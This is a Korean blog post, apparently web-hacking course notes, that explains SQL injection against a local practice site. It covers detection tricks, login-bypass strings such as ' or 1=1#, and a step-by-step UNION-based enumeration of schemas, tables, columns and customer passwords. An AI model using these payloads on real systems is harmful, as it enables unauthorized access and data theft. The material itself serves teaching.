SQL Injection이란 무엇인가?
구조화된 질의 언어를 주입하는 공격
사용자의 입력값에 SQL 구문 삽입을 통해 변조된 SQL 구문으로 질의를 하는 취약점을 통해 다양한 공격이 가능하다.
취약점 발생 원인
입력값 검증 미흡으로 인해 미완성된 SQL 구문에 사용자 입력값이 조합될 때 발생한다.
취약점 유/무 판별 방법
사용자 입력 - 숫자형
산술 연산자를 통해 판별 가능하다.
String query = “select * from board where idx=” + idx +”;
- http://127.0.0.1/insecure_website/index.php?page=view&idx=
4-3
- http://127.0.0.1/insecure_website/index.php?page=view&idx=
(case(http://127.0.0.1/insecure_website/index.php?page=view&idx=(case) when 1=2 then 1 else 2 end)
사용자 입력 - 문자형
연결 연산자를 통해 판별 가능하다.
SQL Injection 공격 종류
- 인증 우회 공격
- 데이터 조회 공격
- 시스템 명령어 실행 공격
1. 인증 우회 공격
member 테이블의 모든 레코드가 반환되고, 레코드 최상위에 있는 사용자로 로그인이 이루어진다. 즉, 공격자는 정상적인 아이디와 패스워드 없이 특정 사용자로 로그인이 가능하게 된다.
인증 우회 공격 원리 분석
예시 1.
주석을 통해 뒷구문을 잘라버리는 것을 터미네이팅 쿼리 방식이라고 한다.
예시 2.
뒷구문의 영향을 받는 것을 인라인 쿼리 방식이라고 한다.
and 연산자가 or 연산자보다 우선순위가 높다.
[실습1] 인증 우회 공격을 통한 사용자 무단 로그인 실습
1. 아이디를 알고 있을 때
- 인라인 쿼리 방식
admin' or '1'='1
- 터미네이팅 쿼리 방식
admin’# admin’ —
2. 아이디를 모를 때
- 인라인 쿼리 방식
' or 1 = 1 or '1'='1
- 터미네이팅 쿼리 방식
' or 1 = 1#
📌 아이디를 모르는데 admin(관리자)으로 로그인되는 이유
member 테이블의 모든 레코드가 반환되고, 레코드 최상위에 있는 사용자로 로그인이 이루어진다. 소스 코드 상에서 최상위 row에 대해서만 id와 name을 파싱하기 때문이다.
[실습2] 인증 우회 공격을 통한 비밀글 무단 열람 실습
- 인증 Query: select * from board where idx=2 and password=‘’
‘ or idx=4 and ‘1’=’1
‘ or idx=4#
2. 데이터 조회 공격
데이터 조회 공격 기법 종류
- Error-Based
- 어플리케이션 에러가 아니라 DBMS 에러가 유출되어야 한다.
- DBMS 에러를 통해 DB 정보가 유출될 수 있다. - Blind-Based
- Union-Based
- Out-of-band
- 대역 외 공격기법이다.
UNION-BASED 공격
[실습3] UNION-BASED 공격을 통한 중요 정보 탈취 실습
- order by 구문을 통해 컬럼 개수 식별(UNION 구문 사용 시 컬럼 개수를 맞춰야하기 때문이다.)
‘ order by 9#
‘ order by 10#
- UNION 구문 사용
- 출력 포지션 파악
공격을 효율적으로 하기 위해 상위 SELECT 문을 거짓으로 하여 레코드 출력을 방지한다.
데이터 조회 공격 프로세스
1. 기본 정보 목록화
‘ and 1=2 union select system_user(), version(), null, null, database(), null, null, null, null#
버전, 사용자, 현재 데이터베이스명 정보를 조회한다.
2. 메타 데이터 목록화
데이터 사전을 조회한다.
MySQL: information_Schema.schemata, information_schema.tables, information_schema.columns
- 데이터베이스 목록화
‘ and 1=2 union select schema_name, null, null, null, null, null, null, null, null from information_schema.schemata#
- 테이블 목록화
‘ and 1=2 union select table_name, null, null, null, null, null, null, null, null from information_schema.tables where table_schema='pentest'#
- 컬럼 목록화
‘ and 1=2 union select column_name, null, null, null, null, null, null, null, null from information_schema.columns where table_schema='pentest' and table_name='customer_info'#
3. 데이터 목록화
‘ and 1=2 union select id, password, null, null, database(), null, null, null, nul from customer_info#
'Security > Web Hacking' 카테고리의 다른 글
[WebHacking] CSRF(Cross-Site Request Forgery) 공격 (0) | 2024.05.13 |
---|---|
[WebHacking] XSS 공격 (1) | 2024.04.28 |
[WebHacking] XXE Injection 공격 (0) | 2024.04.28 |
[WebHacking] OS Command Injection 공격 (0) | 2024.04.28 |
[WebHacking] 웹 해킹에 대한 이해 (0) | 2024.04.28 |